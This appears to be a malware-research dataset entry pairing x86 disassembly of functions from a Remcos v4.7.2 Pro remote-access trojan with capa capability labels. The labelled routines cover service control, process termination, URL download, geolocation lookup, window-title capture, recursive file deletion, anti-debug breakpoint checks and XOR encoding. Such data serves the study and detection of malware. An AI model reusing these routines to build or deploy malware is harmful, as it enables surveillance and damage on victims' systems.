joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416eb2
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x46508c
call fcn.00402073
push eax
push str.Temp
call fcn.0043b06a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402ef0
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fb8
lea ecx, [ebp - 0x84]
call fcn.00401fb8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x138]
call fcn.0040f14b
lea ecx, [ebp - 0x138]
call fcn.004170ef
test al, al
je 0x416fe3
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.004170ff
lea ecx, [ebp - 0x138]
call fcn.0040f0fc
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401f8b
movaps xmm0, xmmword [0x46c1e0]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x465074
mov edi, 0x474590
setne bl
cmp dword [ebp - 0x1c], 0
je 0x416fcd
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x70
mov ecx, edi
call fcn.00404a81
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x416ffe
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x6e
mov ecx, edi
jmp 0x416ff9
sub esp, 0x18
mov ecx, esp
push 0x465074
call fcn.00402073
push 0x6f
mov ecx, 0x474590
call fcn.00404a81
lea ecx, [ebp - 0x138]
call fcn.0040e948
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp + 8]
call fcn.00401fb8
lea ecx, [ebp + 0x20]
call fcn.00401fb8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419c79
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419cb1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419ccf
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419ce0
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419d1b
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419d6c
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x419d3c
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x419d6c
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x419d3c
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419d7d
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419db5
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419dd3
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419de4
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419e1c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419e3a
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419e4b
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419e84
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419ec8
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x419ea1
sub eax, 1
je 0x419e9d
sub eax, 1
jne 0x419ea4
push 3
jmp 0x419ea3
push 2
jmp 0x419ea3
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419eea
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea ecx, [esp + 4]
mov dl, 0x30
push esi
push str.alarm.wav
call fcn.0040cf80
pop ecx
lea ecx, [esp + 8]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x419f75
mov esi, 0x4748c8
mov edx, 0x465074
mov ecx, esi
call fcn.00405ae5
test al, al
je 0x419f63
sub esp, 0x18
cmp byte [0x473ad2], 0
mov ecx, esp
push 0x46b8fc
je 0x419f4d
call fcn.00402073
mov ecx, 0x4748e0
jmp 0x419f57
call fcn.00402073
mov ecx, 0x4744f8
push 0xa1
call fcn.00404a81
jmp 0x419f85
lea ecx, [esp + 8]
call fcn.00401ee4
mov edx, eax
mov ecx, esi
call fcn.0041b4e3
lea ecx, [esp + 8]
call fcn.00401ee4
mov ecx, eax
call fcn.00419f93
lea ecx, [esp + 8]
call fcn.00401ee9
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x419fe8
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x4748c8
mov bl, dl
call fcn.00401fa0
test bl, bl
je 0x41a000
pop ebx
jmp fcn.00419eea
mov byte [0x473ad3], 1
pop ebx
ret
Function at 0x41a21a
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [esp + 0x98]
call fcn.0041a46f
cmp eax, 0xffffffff
jne 0x41a267
lea ecx, [esp + 0x90]
call fcn.00401ee4
push eax
mov dl, 0x30
lea ecx, [esp + 0x14]
call fcn.0040cfcc
pop ecx
push eax
lea ecx, [esp + 0x94]
call fcn.00401ef3
lea ecx, [esp + 0x10]
call fcn.00401ee9
mov ecx, esi
call fcn.0040245c
lea ecx, [esp + 0x90]
test eax, eax
je 0x41a35b
call fcn.00401ee4
mov edx, eax
mov ecx, esi
call fcn.0041b4e3
push str._alias_audio
mov edx, edi
lea ecx, [esp + 0x74]
call fcn.0041ae31
push eax
lea eax, [esp + 0x98]
mov edx, str.open__
push str.__type
push eax
lea ecx, [esp + 0x68]
call fcn.0040af80
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x70]
call fcn.00401ee9
xor ebx, ebx
lea ecx, [esp + 0x28]
push ebx
push ebx
push ebx
call fcn.00401ee4
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov edi, 0x465074
mov ecx, esp
push edi
call fcn.00402073
mov ebp, 0x4748e0
push 0xa9
mov ecx, ebp
call fcn.00404a81
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x473ad4], eax
jmp 0x41a41f
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41a28b
sub esp, 0x18
mov ecx, esp
push 0x465074
call fcn.00402073
push 0xa8
mov ecx, 0x4748e0
call fcn.00404a81
jmp 0x41a45b
cmp byte [0x473ad1], bl
je 0x41a3aa
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x473ad1], bl
cmp byte [0x473ad0], bl
je 0x41a3c2
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x473ad0], bl
push ebx
push 0x14
lea eax, [esp + 0x18]
push eax
push str.status_audio_mode
call esi
lea eax, [esp + 0x10]
push str.stopped
push eax
call fcn.0043ec90
pop ecx
pop ecx
test eax, eax
jne 0x41a3f2
push dword [0x473ad4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x473ad4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41a41a
push dword [0x473ad4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x41a351
mov eax, dword [0x473ad4]
test eax, eax
jne 0x41a392
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
push 0xaa
mov ecx, ebp
call fcn.00404a81
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x90]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0x41a553
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020bf
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043ace0
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41a5df
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.00402097
push eax
mov ecx, ebx
call fcn.00403356
lea ecx, [esp + 0x18]
call fcn.00401fb8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41a5e8
test ecx, ecx
jne 0x41a598
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043acdb
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41abc9
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ac60
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ac60
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ac57
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043ace0
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ac57
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00435e50
push esi
push edi
push dword [ebx]
call fcn.00435e50
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ac69
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00435e50
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040415e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41ad34
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41ad5c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41b282
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.0043e7b4
lea eax, [ebp - 0x410]
push 0x46b858
push eax
call fcn.0043e7d6
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043e7b4
lea eax, [ebp - 0x208]
push 0x4655d8
push eax
call fcn.0043e7d6
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41b3d9
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043e7b4
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41b3ad
lea ecx, [ebp - 0x634]
call fcn.0041b254
test eax, eax
jne 0x41b3ba
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043e7d6
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41b36a
lea ecx, [ebp - 0x208]
call fcn.0041b282
test eax, eax
je 0x41b3d2
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41b396
test byte [ebp - 0x660], 1
je 0x41b385
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41b3d2
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043e7b4
pop ecx
pop ecx
jmp 0x41b3ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41b3d2
xor bl, bl
test bl, bl
jne 0x41b305
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41b3db
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b3e2
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0x41b40b
sub eax, 1
jne 0x41b401
push 4
pop eax
mov ecx, eax
jmp 0x41b413
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41b413
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41b432
xor al, al
jmp 0x41b470
cmp dword [esp + 0x1c], 1
jne 0x41b452
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41b452
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41b42e
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41b467
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41b476
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41b4a0
xor al, al
jmp 0x41b4de
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040242e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00401f8b
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41b4d5
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41b506
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41b52c
xor eax, eax
jmp 0x41b53f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x41b542
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41b63f
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040af08
push esi
lea ecx, [esp + 0x34]
call fcn.00401ee4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.004022e5
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022aa
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.004022e5
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00409291
sub esp, 0xc
mov ecx, esp
push 0x46baac
call fcn.0040415e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004086d0
lea ecx, [esp + 0x54]
call fcn.0041b0bc
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021da
test eax, eax
je 0x41b62d
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e45
push eax
lea ecx, [esp + 0x38]
call fcn.00409114
cmp eax, 0xffffffff
jne 0x41b650
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021da
cmp esi, eax
jb 0x41b602
lea ecx, [esp + 0x24]
call fcn.00406150
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41b66a
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
push esi
call fcn.0043e7b4
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00406150
lea ecx, [esp + 0x30]
call fcn.00401ee9
mov bl, 1
jmp 0x41b63f
Function at 0x41b9d3
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41ba7f
sub ecx, 1
je 0x41ba71
sub ecx, 1
je 0x41ba63
sub ecx, 1
je 0x41ba30
sub ecx, 1
jne 0x41bac1
push 1
sub esp, 0x18
mov ecx, esp
push 0x4650ec
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412aac
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4650e8
jmp 0x41baad
push 1
sub esp, 0x18
mov ecx, esp
push 0x46b5c0
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412aac
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4650ec
jmp 0x41baad
push 1
sub esp, 0x18
mov ecx, esp
push 0x46b9c8
jmp 0x41ba3c
push 1
sub esp, 0x18
mov ecx, esp
push 0x4650d4
jmp 0x41ba3c
push 1
sub esp, 0x18
mov ebx, 0x4650ec
mov ecx, esp
push ebx
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412aac
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402073
push str.TileWallpaper
mov edx, esi
call fcn.00412aac
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41bd1e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x473b14]
test bl, bl
mov dword [0x473b18], eax
pop ebx
jne 0x41bd46
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043b148
push eax
push 0x46bd70
push str.CONOUT_
call fcn.00440bb2
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.0041bcdb
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00435e50
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.00440ef0
lea eax, [ebp - 0x64]
push str.4.7.2_Pro
push eax
call fcn.00440ef0
lea eax, [ebp - 0x64]
push 0x46be78
push eax
call fcn.00440ef0
lea eax, [ebp - 0x64]
push eax
call fcn.00406874
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x420fa6
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x420fd1
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x420fd1
cmp al, 0xc0
je 0x420fd1
cmp al, 0xcc
je 0x420fd1
add edx, 2
cmp dx, cx
jb 0x420fb6
pop esi
ret

Function at 0x423a80
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.00423a1d
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x423a9b
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x423aa9
pop edi
pop esi
ret

Function at 0x425d04
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x425d1c
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x425d0f
pop esi
ret

Function at 0x425d1e
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x425d39
shr esi, 2
push esi
call fcn.00425d04
pop ecx
pop esi
ret
test esi, esi
je 0x425d4a
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x425d3f
pop esi
ret

Function at 0x425d4c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x425d70
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x425d5f
pop edi
pop esi
pop ebx
ret

Function at 0x425d74
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x4676e8
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x425d7e
cmp ecx, str.SHA256wECDSA
jl 0x425d7b
ret